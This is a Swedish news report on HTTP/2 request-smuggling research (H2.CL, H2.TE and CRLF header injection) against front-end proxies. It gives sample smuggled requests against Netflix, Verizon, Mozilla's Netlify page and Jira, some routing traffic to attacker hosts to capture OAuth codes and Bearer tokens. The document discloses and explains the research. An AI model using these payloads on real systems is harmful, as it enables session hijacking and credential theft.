Ny attack mot frontend-backend-system som möjliggör infiltration av förfrågningar

Webb_system där frontend tar emot anslutningar via HTTP/2 och överför till backend via HTTP/1.1 har blivit sårbara för en ny variant av attacken "HTTP Request Smuggling", som möjliggör infiltration av innehållet i andra användares förfrågningar genom att skicka speciellt utformade klientförfrågningar i samma ström mellan frontend och backend. Attacken kan användas för att infoga skadlig JavaScript-kod i en session med en legitim webbplats, kringgå åtkomstbegränsningssystem och fånga autentiseringsparametrar.

Problemet drabbar webb-proxyer, lastbalanserare, webb-acceleratorer, innehållsdistributionssystem och andra konfigurationer där förfrågningar vidarebefordras enligt frontend-backend schemat. Studien visade att attacken kan riktas mot system som Netflix, Verizon, Bitbucket, Netlify CDN och Atlassian, och forskaren erhöll 56 000 dollar i belöning för att upptäcka sårbarheter. Problemet har också bekräftats i produkter från F5 Networks. Delvis påverkas mod_proxy i Apache HTTP-servern (CVE-2021-33193), med korrigeringar som väntas i version 2.4.49 (utvecklarna informerades om problemet i början av maj och fick tre månader på sig att åtgärda det). I nginx blockerades möjligheten att ange både "Content-Length" och "Transfer-Encoding" samtidigt i den senaste utgåvan (1.21.1). Verktyg för att genomföra attacker har redan lagts till i Burp-samlingen och finns tillgängliga som ett Turbo Intruder-tillägg.

Principen för den nya metoden att infiltrera förfrågningar i trafiken liknar en sårbarhet som upptäcktes av samma forskare för två år sedan, men begränsad till frontends som tar emot förfrågningar via HTTP/1.1. Vi påminner om att i frontend-backend schemat tar en extra nod - frontend - emot kundens förfrågningar och etablerar en långlivad TCP-anslutning med backend som utför den direkta behandlingen av förfrågningarna. Genom denna gemensamma anslutning överförs vanligtvis förfrågningar från olika användare som följer efter varandra med uppdelning genom HTTP-protokollet.

Den klassiska attacken "HTTP Request Smuggling" baserades på att frontend- och backend-system tolkar användningen av HTTP-headerna "Content-Length" (som definierar den totala storleken på data i förfrågan) och "Transfer-Encoding: chunked" (som tillåter att data överförs i delar) på olika sätt. Om frontend-systemet till exempel endast stöder "Content-Length" men ignorerar "Transfer-Encoding: chunked", kan en angripare skicka en förfrågan där både "Content-Length" och "Transfer-Encoding: chunked" är angivna, men storleken i "Content-Length" motsvarar inte storleken på chunked-kedjan. I detta fall kommer frontend-systemet att behandla och vidarebefordra förfrågan enligt "Content-Length", medan backend-systemet kommer att förvänta sig att blocket avslutas baserat på "Transfer-Encoding: chunked" och den återstående delen av angriparens förfrågan kommer att hamna i början av en annan förfrågan som skickas efteråt.

Till skillnad från den textbaserade protokollet HTTP/1.1, vars analys utförs på radnivå, är HTTP/2 ett binärt protokoll och manipulerar block av data av en förutbestämd storlek. I HTTP/2 används pseudohuvuden som motsvarar vanliga HTTP-huvuden. När man interagerar med backend-systemet via protokollet HTTP/1.1 översätter frontend-systemet dessa pseudohuvuden till motsvarande HTTP-huvuden i HTTP/1.1. Problemet är att backend-systemet fattar beslut om analysen av strömmen baserat på de HTTP-huvuden som frontend-systemet har satt, utan information om parametrarna från den ursprungliga förfrågan.

Inklusive i form av pseudohuvuden kan värdena "content-length" och "transfer-encoding" överföras, trots att de inte används i HTTP/2, eftersom storleken på all data definieras i ett separat fält. Under processen för att konvertera en HTTP/2-förfrågan till HTTP/1.1 överförs dock dessa huvuden och kan förleda backend-systemet. Två huvudsakliga angreppsvarianter definieras: H2.TE och H2.CL, där backend-systemet vilseleds av ett felaktigt värde för transfer-encoding eller content-length, som inte stämmer överens med den verkliga storleken på kroppsdatan i förfrågan som kom till frontend-systemet via protokollet HTTP/2.

Som ett exempel på attacken H2.CL ges en specifikation av en felaktig storlek i pseudo-rubriken content-length när en HTTP/2-begäran skickas till Netflix. Denna begäran leder till att en liknande HTTP-rubrik Content-Length läggs till när backend anropas via HTTP/1.1, men eftersom storleken i Content-Length anges som mindre än den faktiska, behandlas en del av datan i slutet som början av nästa begäran.

Till exempel, HTTP/2-begäran: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Kommer att skicka en begäran till backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Eftersom Content-Length har värdet 4, kommer backend att tolka endast "abcd" som begärans kropp, och resten av "GET /n HTTP/1.1…" kommer att behandlas som början av den efterföljande begäran, kopplad till en annan användare. Följaktligen kommer det att ske en desynkronisering av flödet och som svar på den efterföljande begäran kommer resultatet av behandlingen av den manipulerade begäran att ges. I fallet med Netflix ledde specificeringen av en extern värd i rubriken "Host:" i den manipulerade begäran till att klienten fick svaret "Location: https://02.rs?x.netflix.com/n" och möjliggjorde att överföra godtyckligt innehåll till klienten, inklusive att köra sin JavaScript-kod i kontexten av Netflix-webbplatsen.

Ett andra alternativ till attacken (H2.TE) är kopplat till insättningen av rubriken "Transfer-Encoding: chunked". Användningen av pseudo-rubriken transfer-encoding i HTTP/2 är förbjuden av specifikationen, och begärningar med den ska tolkas som felaktiga. Trots detta tar vissa implementationer av frontend inte hänsyn till detta krav och tillåter användning av pseudo-rubriken transfer-encoding i HTTP/2, som omvandlas till en liknande HTTP-rubrik. Vid närvaro av rubriken "Transfer-Encoding" kan backend uppfatta den som mer prioriterad och genomföra en delvis analys av data i "chunked"-läge med block av varierande storlek i formatet "{storlek}\r\n{block}\r\n{storlek}\r\n{block}\r\n0", trots den ursprungliga uppdelningen efter total storlek.

Närvaron av en sådan sårbarhet har demonstrerats med exemplet på företaget Verizon. Problemet rörde autentiseringportalen och för innehållshanteringssystem, som också används på webbplatser som Huffington Post och Engadget. Till exempel, kundens begäran via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Ledde till att backend fick en HTTP/1.1-förfrågan: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Backend å sin sida ignorerade "Content-Length"-huvudet och delade upp strömmen baserat på "Transfer-Encoding: chunked". I praktiken tillät attacken att omdirigera användarförfrågningar till sin egen sida och även fånga upp förfrågningar relaterade till OAuth-autentisering, vars parametrar visades i Referer-huvudet, samt simulera en autentisering och initiera att systemet skickar användarens autentiseringsuppgifter till angriparens värd. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

För attacker mot HTTP/2-implementationer som inte tillåter angivande av pseudo-huvudet transfer-encoding föreslogs en annan metod, relaterad till att infoga "Transfer-Encoding"-huvudet genom att fästa det till andra pseudo-huvuden med radbrytning (vid omvandling till HTTP/1.1 skapas i sådana fall två separata HTTP-huvuden).

Till exempel var Atlassian Jira och Netlify CDN (som används för att leverera startsidan för Mozilla i Firefox) mottagliga för det angivna problemet. Specifikt, HTTP/2-förfrågan :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

ledde till att en HTTP/1.1-förfrågan skickades till backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

Ett annat alternativ för att infoga "Transfer-Encoding"-huvudet var att fästa det till namnet på ett annat pseudo-huvud eller till strängen med begärningsmetoden. Till exempel, när man anropade Atlassian Jira, ledde namnet på pseudo-huvudet "foo: bar\r\ntransfer-encoding" med värdet "chunked" till att HTTP-huvuden "foo: bar" och "transfer-encoding: chunked" lade till, och angivandet i pseudo-huvudet ":method" med värdet "GET / HTTP/1.1\r\nTransfer-encoding: chunked" översattes till "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Forskaren som upptäckte problemet föreslog också en teknik för tunneling av förfrågningar för att utföra en attack mot frontend som för varje IP-adresser Ett separat anslutning upprättas med backend och trafik från olika användare blandas inte. Den föreslagna tekniken tillåter inte att man tränger sig in i andra användares förfrågningar, men gör det möjligt att manipulera den gemensamma cachen, vilket påverkar behandlingen av andra förfrågningar, och möjliggör ersättning av interna HTTP-huvuden som används för att överföra kontrollinformation från frontend till backend (t.ex. vid autentisering på frontend kan uppgifter om den aktuella användaren överföras till backend i sådana huvuden). Som exempel på tillämpning av metoden i praktiken via cache-manipulation har det varit möjligt att få kontroll över sidor i tjänsten Bitbucket.

Källa: opennet.ru